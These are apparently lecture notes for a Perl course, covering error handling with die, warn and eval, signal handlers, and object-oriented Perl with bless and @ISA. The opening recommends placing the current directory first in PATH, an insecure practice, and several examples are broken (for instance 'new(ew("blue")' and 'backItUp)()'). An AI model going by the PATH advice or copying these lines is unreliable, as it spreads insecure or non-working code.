The most useful variable is probably the `PATH` statement. By changing it, you can force the system to search the directories you specify. This might be useful if you suspect that another program of the same name resides in another directory. By placing the current directory at the beginning of the `PATH` variable, it will be searched first and you'll always get the executable you want. For example:

```
$ENV{"PATH"} = ".;" . $ENV{"PATH"};
```

A single period is used to refer to the current directory, and a semicolon is used to delimit the directories in the `PATH` variable. So this statement forces the operating system to look in the current directory before searching the rest of the directories in `PATH`.

Environment variables can be useful if you want a quick way to pass information between a parent and a child process. The parent can set the variables, and the child can read it.

---

dave@cs.cf.ac.uk

Handling Errors and Signals

So far most of the examples we have developed have been ignoring the fact that errors can and probably will occur. An error can occur because the directory you are trying to use does not exist, the disk is full, or any of a thousand other reasons. Quite often, you won't be able to do anything to recover from an error, and your program should exit. However, exiting after displaying a user-friendly error message is much preferable than waiting until the operating system or Perl's own error handling takes over.

After looking at errors generated by function calls, we'll look at a way to prevent certain normally fatal activities-like dividing by zero-from stopping the execution of your script; this is by using the `eval()` function.

Then, you'll see what a signal is and how to use the `%SIG` associative array to create a signal handling function.

- Checking for Errors
- Using `errno`
- Using the `||` Logical Operator
- Using the `die()` Function
- Using the `warn()` Function
- Trapping Fatal Errors
  - Using the `eval()` Function
- Signals
  - How to Handle a Signal

---

dave@cs.cf.ac.uk

Checking for Errors

There is only one way to check for errors in any programming language. You need to test the return values of the functions that you call. Most functions return zero or false when something goes wrong. So when using a critical function like `open()` or `sysread()`, checking the return value helps to ensure that your program will work properly.

Perl has two special variables -- `$?` and `$!` - that help in finding out what happened after an error has occurred.

- The `$?` variable holds the status of the last pipe close, back-quote string, or `system()` function.
- The `$!` variable can be used in either a numeric or a string context. In a numeric context it holds the current value of `errno`. If used in a string context, it holds the error string associated with `errno`.

The variable, *errno*, is pre-defined variable that can sometimes be used to determine the last error that took place.

Caution You can't rely on these variables to check the status of pipes, back-quoted strings, or the `system()` function when executing scripts under the Windows operating system. My recommendation is to capture the output of the back-quoted string and check it directly for error messages. Of course, the command writes its errors to `STDERR` and then can't trap them, and you're out of luck.

Once you detect an error and you can't correct the problem without outside intervention, you need to communicate the problem to the user. This is usually done with the `die()` and `warn()` functions.

---

dave@cs.cf.ac.uk

Using `errno`

When an error occurs, it is common practice for UNIX-based functions and programs to set a variable called `errno` to reflect which error has occurred. If `errno=2`, then your script tried to access a directory or file that did not exist. Table 13.1 lists 10 possible values the `errno` variable can take, but there are hundreds more. If you are interested in seeing all the possible error values, run the program,`err1.pl`:

```
for ($! = 1; $! <= 10000; $!++) {

    $errText = $!;

    chomp($errText);

    printf("%04d: %s\n", $!, $errText) if $! ne "Unknown Error";

}
```

The program operates as follows:

- Loop from 1 to 10,000 using *`$!`* as the loop variable.
- Evaluate the *`$!`* variable in a string context so that *`$errText`* is assigned the error message associated with the value of *`$!`*
- Use *`chomp()`* to eliminate possible newlines at the end of an error message.
- Some of the messages have newlines, and some don't.
- Print the error message if the message is not *`Unknown Error`*.
- Any error value not used by the system defaults to *`Unknown Error`*.
- Using the if statement modifier ensures that only valid error messages are displayed.

There are Ten Possible Values for **`errno`**:

1. Operation not permitted
2. No such file or directory
3. No such process
4. Interrupted function call
5. Input/output error

6. No such device or address
7. Arg list too long
8. Exec format error
9. Bad file descriptor
10. No child processes

---

dave@cs.cf.ac.uk

Using the || Logical Operator

Perl provides a special logical operator that is ideal for testing the return values from functions. You may recall that the `||` operator will evaluate only the right operand if the left operand is false. Because most functions return false when an error occurs, you can use the `||` operator to control the display of error messages. For example:

```
chdir('/user/printer') ||
     print("Can't connect to Printer dir.\n");
```

This code prints only the error message if the program can't change to the `/user/printer` directory. Unfortunately, simply telling the user what the problem is, frequently, is not good enough. The program must also exit to avoid compounding the problems. You could use the comma operator to add a second statement to the right operand of the `||` operator. Adding an `exit()` statement to the previous line of code looks like this:

```
chdir('/usr/printer') || print("failure\n"), exit(1);

print("success\n");
```

The extra `print` statement is added to prove that the script really exits. If the printer directory does not exist, the second `print` statement is not executed.

Note

At the shell or DOS, a zero return value means that the program ended successfully. While inside a Perl script, a zero return value frequently means an error has occurred. Be careful when dealing with return values; you should always check your documentation.

Using the comma operator to execute two statements instead of one is awkward and prone to misinterpretation when other programmers look at the script. Fortunately, you can use the `die()` function to get the same functionality.

---

dave@cs.cf.ac.uk

Using the `die()` Function

The `die()` function is used to quit your script and display a message for the user to read. Its syntax is

```
die(LIST);
```

The elements of `LIST` are printed to `STDERR`, and then the script will exit, setting the script's return value to `$!` (`errno`). If you were running the Perl script from inside a C program or UNIX script, you could then check the return value to see what went wrong.

The simplest way to use the `die()` function is to place it on the right side of the `||` operator

```
chdir('/user/printer') || die();
```

which displays

```
Died at test.pl line 2.
```

if the `/user/printer` directory does not exist. The message is not too informative, so you should always include a message telling the user what happened. If you don't know what the error might be, you can always display the error text associated with errno. For example:

```
chdir('/user/printer') || die("$!");
```

This line of code displays

```
No such file or directory at test.pl line 2.
```

This error message is a bit more informative. It's even better if you append the text , `stopped` to the error message like this:

```
chdir('/user/printer') || die("\$!, stopped");
```

which displays

```
No such file or directory, stopped at test.pl line 2.
```

Appending the extra string makes the error message look a little more professional. If you are really looking for informative error messages, try this:

```
$code = "chdir('/user/printer')";

eval($code) || die("PROBLEM WITH LINE: $code\n$! , stopped");
```

which displays the following:

```
PROBLEM WITH LINE: chdir('/user/printer')
No such file or directory , stopped at test.pl line 3.
```

The `eval()` function is discussed later in the section -- the `eval()` function executes its arguments as semi-isolated Perl code. First, the Perl code in `$code` is executed and then, if an error arises, the Perl code in `$code` is displayed as text by the `die()` function.

If you don't want `die()` to add the script name and line number to the error, add a newline to the end of the error message. For example:

```
chdir('/user/printer') || die("\$!\n");
```

displays the following

```
No such file or directory
```

---

dave@cs.cf.ac.uk

Using the `warn()` Function

The `warn()` function has the same functionality that `die()` does except the script is not exited. This function is better suited for *non-fatal* messages like low memory or disk space conditions.

The next example tries to change to the `/text` directory. If the connect fails, the consequences are not fatal because the files can still be written to the current directory.

```
chdir('/text') ||
   warn("Using current directory instead of /text, warning");
```

This line of code displays

```
Using current directory instead of /text, warning at test.pl line 2.
```

if the `/text` directory does not exist. As with `die()`, you can eliminate the script name and line number by ending your error message with a newline. You could also use the `$!` variable to display the system error message.

---

dave@cs.cf.ac.uk

Trapping Fatal Errors

There are times when reporting fatal errors and then exiting the script are not appropriate responses to a problem.

For example, your script might try to use the `alarm()` function, which is not supported in some versions of Perl. Normally, using an unsupported function causes your problem to exit, but you can use the `eval()` function to trap the error and avoid ending the script.

The `eval()` function accepts an expression and then executes it. Any errors generated by the execution will be isolated and not affect the main program. However, all function definitions and variable modifications do affect the main program.

- Using the `eval()` Function

---

dave@cs.cf.ac.uk

Using the `eval()` Function

You can use the `eval()` function to trap a normally fatal error, `eval.pl`:

```
eval { alarm(15) };

warn() if $@;



eval { print("The print function worked.\n"); };

warn() if $@;
```

This program displays the following:

```
The Unsupported function alarm function is unimplemented at test.pl line

 2.

        ...caught at test.pl line 3.

The print function worked.
```

The `$@` special variable holds the error message, if any, returned by the execution of the expression passed to the `eval()` function.

If the expression is evaluated correctly, then `$@` is an empty string. You probably remember that an empty string is evaluated as false when used as a conditional expression.

In an `die()` sectionearlier the following code snippet was used:

```
$code = "chdir('/user/printer')";

eval($code) or die("PROBLEM WITH LINE: $code\n$! , stopped");
```

This program shows that `eval()` will execute a line of code that is inside a variable. You can use this capability in many different ways besides simply trapping fatal errors. The program listing below presents a prompt and executes Perl code as you type it. Another way of looking at this program is that it is an interactive Perl interpreter:

- Loop until the user enters *`exit`*.
- Print the prompt.
- Get a line of input from *`STDIN`* and remove the ending linefeed.
- Execute the line.
- If the executed code set the *`$@`* error message variable, display the error message as a warning.

The Perl code is, `eval2.pl`:

```
do {

    print("> ");

    chop($_ = <>);

    eval($_);

    warn() if $@;

} while ($_ ne "exit");
```

When you run this program, you will see a > prompt. At the prompt, you can type in any Perl code. When you press Enter, the line is executed. You can even define functions you can use later in the interactive session. The program can be stopped by typing `exit` at the command line.

If you like powerful command-line environments, you can build on this small program to create a personalized system. For example, you might need to perform a backup operation before leaving work. Instead of creating a batch file (under DOS) or a shell file (under UNIX), you can add a new command to the Perl interactive program, as below:

- Loop until the user enters exit.
- Print the prompt.
- Get a line of input from STDIN and remove the ending linefeed.
- If the inputted line begins with do#, then a custom command has been entered.
- Process the do#backup custom command.
- See if the user needs help.
- Otherwise, use the `eval()` function to execute the inputted line.
- If the executed code set the `$@` error message variable, display the error message as a warning.

The Perl for this is, `eval3.pl`:

```
sub backItUp {

    '\backup /user/*';

    'delete /user/*.bak'

}



sub help {

    print("do#backup will perform the nightly backup\n");

    print("help will display this message.\n\n");

}
```

```
do {
    print("> ");
    chop($_ = <>);
    if (/^do#/) {
        backItUp)() if /backup/;
    }
    elsif (/^\s*help/) {
        help();
    }
    else {
        eval($_);
        warn() if $@;
    }
} while ($_ ne "exit");
```

This program invokes the backup program and deletes the backup files if you enter `do#backup` at the > prompt. Of course, you need to modify this program to perform the customized commands you'd like to have. This technique also enables you to centralize your administrative tasks, which will make them easier to document and maintain.

N ote If you are running Perl on a DOS or Windows machine, consider replacing your small batch utility programs with one Perl interpreter and some customized commands. This saves on hard disk space if you use a lot of batch files because each file may take up to 4,096 bytes, regardless of its actual size.

Signals

Signals are messages sent by the operating system to the process running your Perl script. At any time, a signal that must be answered can be sent to your process. Normally, a default handler is used to take care of a signal. For example, under Windows 95, when you press the Ctrl+C key combination, your process is sent an `INT` or interrupt signal.

The default handler responds by ending the process and displays the following message:

```
^C at test.pl line 22
```

Of course, the filename and line number change to match the particulars of whatever script happens to be running when Ctrl+C was pressed. The `^C` notation refers to the Ctrl+C key sequence.

- How to Handle a Signal

---

dave@cs.cf.ac.uk

How to Handle a Signal

You can cause Perl to ignore the Ctrl+C key sequence by placing the following line of code near the beginning of your program:

```
$SIG{'INT'} = 'IGNORE';
```

You can restore the default handler like this:

```
$SIG{'INT'} = 'DEFAULT';
```

If you need to ensure that files are closed, error messages are written, or other cleanup chores are completed, you need to create a custom `INT` handle function. For example:

```
sub INT_handler {

    # close all files.

    # send error message to log file.

    exit(0);

}


$SIG{'INT'} = 'INT_handler';
```

If the Ctrl+C key sequence is pressed anytime after the hash assignment is made, the `INT_handler` function is called instead of the default handler.

Note In theory, you could remove the `exit()` call from the signal handler function, and the script should start executing from wherever it left off. However, this feature is not working on several platforms. If you want to test your platform, run the following small program:

```
sub INT_handler {
            print("Don't Interrupt!\n");
        }

        $SIG{'INT'} = 'INT_handler';
        for ($x = 0; $x < 10; $x++) {
            print("$x\n");
            sleep 1;
        }
```

You should be able to press Ctrl+C while the script is counting without forcing the script to end.

The `%SIG` associative array holds only entries you have created for your custom signal handler functions. So, unfortunately, you can't find out which signals are supported by looking at the array returned by *`keys`*`(%SIG)`.

Tip

If you are running Perl on a UNIX machine, you can run the `kill -l` command. This command displays a list of possible signals.

The port of Perl for Win32 supports the following signals:

- `ABRT2` -- This signal means that another process is trying to abort your process.
- `BREAK2` -- This signal indicates that a Ctrl+Break key sequence was pressed under Windows.
- `TERM2` -- This signal means that another process is trying to terminate your process.
- `SEGV2` -- This signal indicates that a segment violation has taken place.
- `FPE2` -- This signal catches floating point exceptions.
- `ILL2` -- This signal indicates that an illegal instruction has been attempted.
- `INT2` -- This signal indicates that a Ctrl+C key sequence was pressed under Windows.

You can also use the `%SIG` hash to trap a call to the `warn()` and `die()` functions. This comes in handy if you're working with someone else's code and want to keep a log of whenever these functions are called. Rather than finding every place the functions are used, you can define a handler function as follows:

- Define a handler for the *`warn()`* function.
- The error message is passed to the handler as the first element of the *`@_ array`*.
- Define a handler for the *`die()`* function.
- Define the *`sendToLogfile()`* utility function.
- Start the signal catching by creating two entries in the *`%SIG`* hash.
- Invoke the *`warn()`* and *`die()`* functions.

The Perl implementation is as follows `handler.pl`:

```
sub WARN_handler {

    my($signal) = @_;

    sendToLogfile("WARN: $signal");

}



sub DIE_handler {

    my($signal) = @_;

    sendToLogfile("DIE: $signal");
```

```
}


sub sendToLogfile {

    my(@array) = @_;

    open(LOGFILE, ">>program.log");

    print LOGFILE (@array);

    close(LOGFILE);

}


$SIG{__WARN__} = 'WARN_handler';

$SIG{__DIE__}  = 'DIE_handler';


chdir('/printer') or warn($!);

chdir('/printer') or die($!);
```

When this program is done executing, the `PROGRAM.LOG` file contains these lines:

```
WARN: No such file or directory at 13lst02.pl line 22.
DIE: No such file or directory at 13lst02.pl line 23.
```

---

 dave@cs.cf.ac.uk

Objects in Perl

- What are objects?
- Classes
- Abtraction
- Polymorphism:Overriding Methods
- Encapsulation:Keeping Code and Data Together
- Objects in Perl
  - Bless the Hash and Pass the Reference
  - Initializing Properties
  - Using Named Parameters in Constructors
  - Inheritance: Perl Style
  - Polymorphism
  - One Class Can Contain Another
- Static Versus Regular Methods and Variables

---

dave@cs.cf.ac.uk

What are objects?

Basically you already know what an object is. Trust your instincts. The book you are reading is an object. The knife and fork you eat with are objects. In short, your life is filled with them.

The question that really needs to be asked is, "What are classes?" You see, all object-oriented techniques use classes to do the real work. A *class* is a combination of variables and functions designed to emulate an object. However, when referring to variables in a class, object-oriented folks use the term *properties*; and when referring to functions in a class, the term *method* is used.

I'm not sure why new terminology was developed for object-oriented programming. Because the terms are now commonplace in the object-oriented documentation and products, you need to learn and become comfortable with them in order to work efficiently.

In this chapter, you see how to represent objects in Perl using classes, methods, and properties. In addition, you look at the definitions of some big words such as *abstraction*, *encapsulation*, *inheritance*, and *polymorphism*.

Following are short definitions for these words. The sections that follow expand on these definitions and show some examples of their use.

Abstraction

-- Information about an object (its properties) can be accessed in a manner that isolates how data is stored from how it is accessed and used.

Encapsulation

-- The information about an object and functions that manipulate the information (its methods) are stored together.

Inheritance

-- Classes can inherit properties and methods from one or more parent classes.

Polymorphism

-- A child class can redefine a method already defined in the parent class.

Classes

Before looking at specific examples of object-oriented Perl code, you need to see some generic examples. Looking at generic examples while learning the *standard* object-oriented terminology will ensure that you have a firm grasp of the concepts. If you had to learn new Perl concepts at the same time as the object concepts, something might be lost because of information overload.

Classes are used to group and describe object types. Character classes have already been looked with regular expressions A class in the object-oriented world is essentially the same thing. Let's create some classes for an inventory system for a pen and pencil vendor. Start with a pen object. How could you describe a pen from an inventory point of view?

Well, the pen probably has a part number, and you need to know how many of them there are. The color of the pen might also be important. What about the level of ink in the cartridge-is that important? Probably not to an inventory system because all the pens will be new and therefore full.

The thought process embodied in the previous paragraph is called *modeling*. Modeling is the process of deciding what will go into your objects. In essence, you create a model of the world out of objects.

Note: The terms `object` and `class` are pretty interchangeable. Except that a class might be considered an object described in computer language, whereas an object is just an object.

Objects are somewhat situationally dependent. The description of an object, and the class, depends on what needs to be done. If you were attempting to design a school course scheduling program, your objects would be very different than if you were designing a statistics program.

Now back to the inventory system. You were reading about pens and how they had colors and other identifying features. In object talk, these features are called *properties*. Figure 14.1 shows how the pen class looks at this stage of the discussion.

The Pen Class and its properties

Now that you have a class, it's time to generalize. Some people generalize first. I like to look at the details first and then extract the common information. Of course, usually you'd need several classes before any common features will appear. But because I've already thought this example through, you can cheat a little.

It's pretty obvious that all inventory items will need a part number and that each will have its own quantity-on-hand value. Therefore, you can create a more general class than Pen. Let's call it `Inventory_item`. Figure 14.2 shows this new class.

The Inventory_item class and its properties

Because some of `Pen's` properties are now also in `Inventory_item`, you need some mechanism or technique to avoid repetition of information. This is done by deriving the `Pen` class from `Inventory_item`. In other words, `Inventory_item` becomes the *parent* of `Pen`. Figure 14.3 shows how the two classes are now related.

The relationship between Inventory_item and Pen

You may not have noticed, but you have just used the concept of *inheritance*. The `Pen` class inherits two of its properties from the `Inventory_item` class. Inheritance is really no more complicated than that. The child class has the properties of itself plus whatever the parent class has.

You haven't seen methods or functions used in classes yet. This was deliberate. Methods are inherited in the same way that data is. However, there are a couple of tricky aspects of using methods that are better left for later. Perhaps even until you start looking at Perl code.

Note Even though you won't read about methods at this point in the chapter, there is something important that you need to know about inheritance and methods. First, methods are inherited just like properties. Second, using inherited methods helps to create your program more quickly because you are using functionality that is already working. Therefore, at least in theory, your programs should be easier to create.

Abtraction

In order to understand and think about *abstraction*, you need a working definition of the term *model*. How about, "A model is an approximation of something." If you build a model car, some of the items in the original car will be missing, such as spark plugs, for example. If you build a model house, you wouldn't include the plumbing. Thus, the models that you build are somewhat abstract; the details don't matter, just the form.

Abstraction in object-oriented programming works in the same way. As the programmer, you present the model of your objects to other programmers in the form of an *interface*. Actually, the interface is just some documentation that tells others how to interact with any of your classes. However, nobody needs to know what your classes really do. It is enough to say that the file object stores the file name and size and presents the information in English. Whether the internal format of the information is compressed, Russian, or stored in memory or on the hard disk is immaterial to the user of your classes.

I recommend that as you design an object or class, you occasionally distance yourself from the work. Try to view the resulting system through the eyes of another to check for inconsistencies and relationships that aren't needed.

You've learned about abstraction in abstract terms so far. Now let's use the `Pen` class that you created earlier to see a concrete example of abstraction. The `Pen` class had only one property of its own, the ink color (the rest were inherited). For the sake of argument, the ink color can be `"blue,""black,"` or `"red."` When a `Pen` object is created (the mechanism of creation is unimportant at the moment), a specific color is assigned to it. Use `"blue"` for the moment. Here is a line of code to create the object:

```
$pen = Pen->new(ew("blue");
```

Now the `Pen` object has been created. Do you care if the internal format of the ink color is the string `"blue"` or the number 1? What if, because you expect to use thousands of objects, the internal format changes from a string to a number to save computer memory? As long as the interface does not change, the program that uses the class does not need to change.

By keeping the external interface of the class fixed, an abstraction is being used. This reduces the amount of time spent retrofitting programs each time a change is made to a class the program is using.

Polymorphism:Overriding Methods

Polymorphism is just a little more complicated than inheritance because it involves methods. Earlier, I said you might not learn about methods before you look at a real object-oriented Perl program, but I changed my mind. Let's make up some methods that belong in an inventory program. How about a method to print the properties for debugging purposes or a method to change the quantity-on-hand amount? Figure 14.4 shows the `Inventory_item` class with these two functions.

The Inventory_item class with methods

This new function is automatically inherited by the `PEN` class. However, you will run into a problem because the `printProperties()` function won't print the ink color. You have three choices:

- Change the function in the `Inventory_item` class -- This is a bad choice because the generic inventory item should not know any unique information about inventory objects-just general or common information.
- Create a new function in the `Pen` class called `printPenProperties()` -- This is another bad choice. By solving the problem this way, every class will soon have its own print functions, and keeping track of the function names would be a nightmare.
- Create a new function in the `Pen` class called `printProperties()` to *override* the definition from `Inventory_item`. This is a good solution. In fact, this is the way that polymorphism works.

Perl's take on polymorphism is that if you call a method in your program, either the current class or a parent class should have defined that method. If the current class has not defined the method, Perl looks in the parent class. If the method is still not found, Perl continues to search the class *hierarchy*.

I can hear you groaning at this point-another object-oriented word! Yes, unfortunately. But at least this one uses the normal, everyday definition of the word. A *hierarchy* is an organized tree of information. In our examples so far, you have a two-level hierarchy. It's possible to have class hierarchies many levels deep. In fact, it's quite common. Figure 14.5 shows a class hierarchy with more than one level.

A class hierarchy with many levels

It's probably worth mentioning that some classes contain only information and not methods. As far as I know, however, there is no special terminology to reflect this. These information-only classes may serve as adjunct or helper classes.

dave@cs.cf.ac.uk

Encapsulation:Keeping Code and Data Together

There's not much that I needs to be sid about encapsulation. Keeping the methods in the same place as the information they affect seems like common sense. It wasn't done using earlier languages mostly because the programming tools were not available. The extra work required to manually perform encapsulation outweighed the benefits that would be gained.

One big advantage of encapsulation is that it makes using information for unintended purposes more difficult, and this reduces logic errors. For example, if pens were sold in lots of 100, the `changeQuantityOnHand()` function would reflect this. Changing the quantity by only one would not be possible. This enforcement of business rules is one of the biggest attractions of object-oriented programming.

---

dave@cs.cf.ac.uk

Objects in Perl

Remember the concept of references that was discussed previously.

References will play a large role in the rest of the chapter and are critical to understanding how classes are used. You specifically need to remember that the `{ }` notation indicates an anonymous hash. Armed with this knowledge and the object-oriented terminology from the first part of this chapter, you are ready to look at real Perl objects.

The following listing shows how the `inventory_item` class could be defined in Perl:

- Start a new class called `Inventory_item`.
- The `package` keyword is used to introduce new classes and namespaces.
- Define the `new()` function. This function is responsible for constructing a new object. The first parameter to the `new()` function is the class name (`Inventory_item`).
- The `bless()` function is used to change the data type of the anonymous hash to `$class` or `Inventory_item`.
- Because this is the last statement in the method, its value will be returned as the value of the function -- using the return statement to explicitly return a value would clutter the code in this situation.
- An anonymous hash is used to hold the properties for the class. For the moment, their values are undefined.
- Switch to the package called `main`. This is the default place for variables and code to go (technically, this is called a namespace).
- If no classes are defined in your script, then this line is not needed.
- Assign an instance of the `Inventory_item` class to the `$item` variable.

The Perl code for defining the `Inventory_item` Class is:

```
package Inventory_item;

    sub new {

        my($class) = shift;



        bless {

            "PART_NUM"    => undef,

            "QTY_ON_HAND" => undef
```

```
        }, $class;

    }



package main;

   $item = Inventory_item->new();
```

There is a *lot* of new stuff in this small ten-line listing. terminology.

The first line, `package Inventory_item`; says two things, depending on if you are thinking in terms of objects or in terms of Perl. When considering objects, it begins the definition of a class. When considering Perl, it means that a specific namespace will be used.

You read a little bit about namespace in Chapter 3 "Variables." A *namespace* is used to keep one set of names from interfering with another. For example, you can have a variable named bar and a function called `bar`, and the names will not conflict because variables and functions each have their own namespace.

The `package` keyword lets you create your own namespace. This lets you create more than one function called `new()` as long as each is in its own package or namespace. If you need to refer to a specific function in a specific namespace, you can use `Inventory_item->new`, `Inventory_item::new`, or `Inventory_item'new`. Which notation you use will probably depend on your background. Object-oriented folks will probably want to use the -> notation.

The second line, `sub new`, starts the definition of a function. It has become accepted practice in the object-oriented world to construct new objects with the `new()` method. This is called the class *constructor*. This might be a good time to emphasize that the class definition is a template. It's only when the `new()` function is called that an object is created or *instantiated*. Instantiation means that memory is allocated from your computer's memory pool and devoted to the use of this specific object. The `new()` function normally returns a reference to an anonymous hash. Therefore, the `new()` function should never be called unless you are assigning its return value to a variable. If you don't store the reference into a scalar variable for later use, you'll never be able to access the anonymous hash inside the object. For all intents and purposes, the anonymous hash *is* the object.

Note Not all objects are represented by hashes. If you need an object to emulate a gas tank, perhaps an anonymous scalar would be sufficient to hold the number of gallons of gas left in the tank. However, you'll see that working with hashes is quite easy once you learn how. Hashes give you tremendous flexibility to solve programming problems.

There is nothing magic about the new function name. You could call the function that creates new objects `create()` or `build()` or anything else, but don't. The standard is `new()`, and everyone who reads your program or uses your classes will look for a `new()` function. If they don't find one, confusion might set in. There are so few standards in the programming business. When they exist, it's usually a good idea to follow them.

The `bless()` function on the third line changes the data type of its first parameter to the string value of its second parameter. In the situation shown here, the data type is changed to the name of the package, `Inventory_item`. Using `bless()` to change the data type of a reference causes the

`ref()` function to return the new data type. This potentially confusing point is explained further in the section "Example: Bless the Hash and Pass the Reference" later in this chapter.

Note The `bless()` function is used without using parentheses to surround the parameters.

Embedded inside the `bless()` function call is the creation of an anonymous hash that holds the properties of the class. The hash definition is repeated here for your convenience:

```
{
    "PART_NUM"    => undef,
    "QTY_ON_HAND" => undef
};
```

Nothing significant is happening here that you haven't seen before. Each entry in the hash is a different property of the class. For the moment, I have assigned the undefined value to the value part of the entries. Soon you'll see how to properly initialize them.

After the `new()` function is defined, there is another package statement: package main;

There is no object-oriented way to interpret this statement. It simply tells Perl to switch back to using the `main` namespace. Don't be fooled into thinking that there is a `main` class somewhere. There isn't.

A note of Caution: While you could create a `main` class by defining the `new()` function after the `package main;` statement, things might get to be confusing, so don't do it!

The last statement in the file is really the first line that gets executed. Everything else in the script has been class and method definitions. $item = Inventory_item->new();

By now, you've probably guessed what this statement does. It assigns a reference to the anonymous hash to `$item`. You can dereference `$item` in order to determine the value of the entries in the hash. If you use the `ref()` function to determine the data type of `$item`, you find that its value is `Inventory_item`.

Here are some key items to remember about objects in Perl:

- **All objects are anonymous hashes:** While not strictly true, perhaps it should be. Also, most of the examples in this book follow this rule. This means that most of the `new()` methods you see return a reference to a hash.
- **`bless()` changes the data type of the anonymous hash:** The data type is changed to the name of the class.
- **The anonymous hash itself is blessed:** This means that references to the hash are not blessed. This concept is probably a little unclear. I had trouble figuring it out myself. The next section clarifies this point and uses an example.
- **Objects can belong to only one class at a time:** You can use the `bless()` function to change the ownership at any time. However, don't do this unless you have a good reason.
- **The `->` operator is used to call a method associated with a class:** There are two different ways to invoke or call class methods:

  ```
  $item = new Inventory_item;
  ```

  or

  ```
  $item = Inventory_item->new();
  ```

Both of these techniques are equivalent, but the `->` style is preferred by object-oriented folks.

- Bless the Hash and Pass the Reference
- Initializing Properties
- Using Named Parameters in Constructors
- Inheritance: Perl Style
- Polymorphism
- One Class Can Contain Another

---

dave@cs.cf.ac.uk

Bless the Hash and Pass the Reference

If you recall from Chapter on refernces the `ref()` function returns either the undefined value or a string indicating the parameter's data type (`SCALAR`, `ARRAY`, `HASH`, `CODE`, or `REF`). When classes are used, these data types don't provide enough information.

This is why the `bless()` function was added to the language. It lets you change the data type of any variable. You can change the data type to any string value you like. Most often, the data type is changed to reflect the class name.

It is important to understand that the variable itself will have its data type changed. The following lines of code should make this clear (`bless.pl`:

```
$foo    = { };

$fooRef = $foo;



print("data of \$foo is "    . ref($foo)    . "\n");

print("data of \$fooRef is " . ref($fooRef) . "\n");



bless($foo, "Bar");



print("data of \$foo is "    . ref($foo)    . "\n");

print("data of \$fooRef is " . ref($fooRef) . "\n");
```

This program displays the following:

```
data of $foo is HASH

data of $fooRef is HASH

data of $foo is Bar

data of $fooRef is Bar
```

After the data type is changed, the `ref($fooRef)` function call returns `Bar` instead of the old

value of `HASH`. This can happen only if the variable itself has been altered. This example also shows that the `bless()` function works outside the object-oriented world.

---

dave@cs.cf.ac.uk

Initializing Properties

You now know how to instantiate a new class by using a `new()` function and how to create class properties (the class information) with undefined values. Let's look at how to give those properties some real values. You need to start by looking at the `new()` function from the first example in this chapter `init.pl`:

```
sub new {

        my($class) = shift;

        bless {

            "PART_NUM"    => undef,

            "QTY_ON_HAND" => undef

        }, $class;

}
```

The `new()` function is a *static* method. Static methods are not associated with any specific object. This makes sense because the `new()` function is designed to create objects. It can't be associated with an object that doesn't exist yet, can it?

The first argument to a static method is always the class name. Perl takes the name of the class from in front of the -> operator and adds it to the beginning of the parameter array, which is passed to the `new()` function.

If you want to pass two values into the `new()` function to initialize the class properties, you can modify the method to look for additional arguments as in the following `init2.pl`:

```
sub new {

        my($class)   = shift;

        my($partNum) = shift;

        my($qty)     = shift;



        bless {
```

```
            "PART_NUM"    => $partNum,

            "QTY_ON_HAND" => $qty

        }, $class;

}
```

Each parameter you expect to see gets shifted out of the parameter array into a scalar variable. Then the scalar variable is used to initialize the anonymous hash.

You invoke this updated version of `new()` by using this line of code:

```
$item = Inventory_item->new(ew("AW-30", 1200);
```

While this style of parameter passing is very serviceable, Perl provides for the use of another technique: passing named parameters.

---

dave@cs.cf.ac.uk

Using Named Parameters in Constructors

The concept of using named parameters has been quickly accepted in new computer languages. I was first introduced to it while working with the scripting language for Microsoft Word. Rather than explain the technique in words, let's look at an example in code, as shown below:

- Start a definition of the *`Inventory_item`* class.
- Define the constructor for the class.
- Get the name of the class from the parameter array.
- Assign the rest of the parameters to the *`%params`* hash.
- Bless the anonymous hash with the class name. Use *`%params`* to initialize the class properties.
- Start the *`main`* namespace.
- Call the constructor for the *`Inventory_item`* class.
- Assign the object reference to *`$item`*
- Print the two property values to verify that the property initialization worked.

The code listing `invent.pl` is as follows:

```
package Inventory_item;

    sub new {

        my($class)  = shift;

        my(%params) = @_;


        bless {

            "PART_NUM"    => $params{"PART_NUM"},

            "QTY_ON_HAND" => $params{"QTY_ON_HAND"}

            }, $class;

    }


package main;
```

```
    $item = Inventory_item->new(
"PART_NUM"    => "12A-34",
"QTY_ON_HAND" => 34);


    print("The part number is " . %{$item}->{'PART_NUM'} . "\n");
    print("The quantity is " . %{$item}->{'QTY_ON_HAND'} . "\n");
```

One key statement to understand is the line in which the `new()` function is called:

```
$item = Inventory_item->new(
"PART_NUM"    => "12A-34",
                "QTY_ON_HAND" => 34);
```

This looks like an associative array is being passed as the parameter to `new()`, but looks are deceiving in this case. The `=>` operator does exactly the same thing as the comma operator. Therefore, the preceding statement is identical to the following:

```
$item = Inventory_item->new("PART_NUM", "12A-34", "QTY_ON_HAND", 34);
```

Also, a four-element array is being passed to `new()`.

The second line of the `new()` function, `my(%params) = @_;` does something very interesting. It takes the four-element array and turns it into a hash with two entries. One entry is for `PART_NUM`, and the other is for `QTY_ON_HAND`.

This conversion (array into hash) lets you access the parameters by name using `%params`. The initialization of the anonymous hash-inside the `bless()` function-takes advantage of this by using expressions such as `$params{"PART_NUM"}`.

I feel that this technique helps to create self-documenting code. When looking at the script, you always know which property is being referred to. In addition, you can also use this technique to partially initialize the anonymous hash. For example,

```
$item = Inventory_item->new("QTY_ON_HAND" => 34);
```

gives a value only to the `QTY_ON_HAND` property; the `PART_NUM` property will remain undefined. You can use this technique with any type of function, not just constructors.

Inheritance: Perl Style

You already know that inheritance means that properties and methods of a parent class will be available to child classes. This section shows you can use inheritance in Perl.

First, a little diversion. You may not have realized it yet, but each package can have its own set of variables that won't interfere with another package's set. So if the variable `$first` was defined in package A, you could also define `$first` in package B without a conflict arising. For example `inher.pl`,

```
package A;

    $first = "package A";



package B;

    $first = "package B";



package main;

    print("$A::first\n");

    print("$B::first\n");
```

displays

```
package A
package B
```

Notice that the `::` is being used as a scope resolution operator in this example. The `->` notation will not work; also, it's okay that `->` can't be used because we're not really dealing with objects in this example, just different namespaces.

You're probably wondering what this diversion has to do with inheritance, right? Well, inheritance is accomplished by placing the names of parent classes into a special array called `@ISA`. The elements of `@ISA` are searched left to right for any missing methods. In addition, the `UNIVERSAL` class is invisibly tacked on to the end of the search list. For example `universal.pl`,

```
package UNIVERSAL;
```

```
    sub AUTOLOAD {
        die("[Error: Missing Function] $AUTOLOAD @_\n");
    }




package A;
    sub foo {
        print("Inside A::foo\n");
    }


package B;
    @ISA = (A);


package main;
    B->foo();
    B->bar();
```

displays

```
Inside A::foo
[Error: Missing Function] B::bar B
```

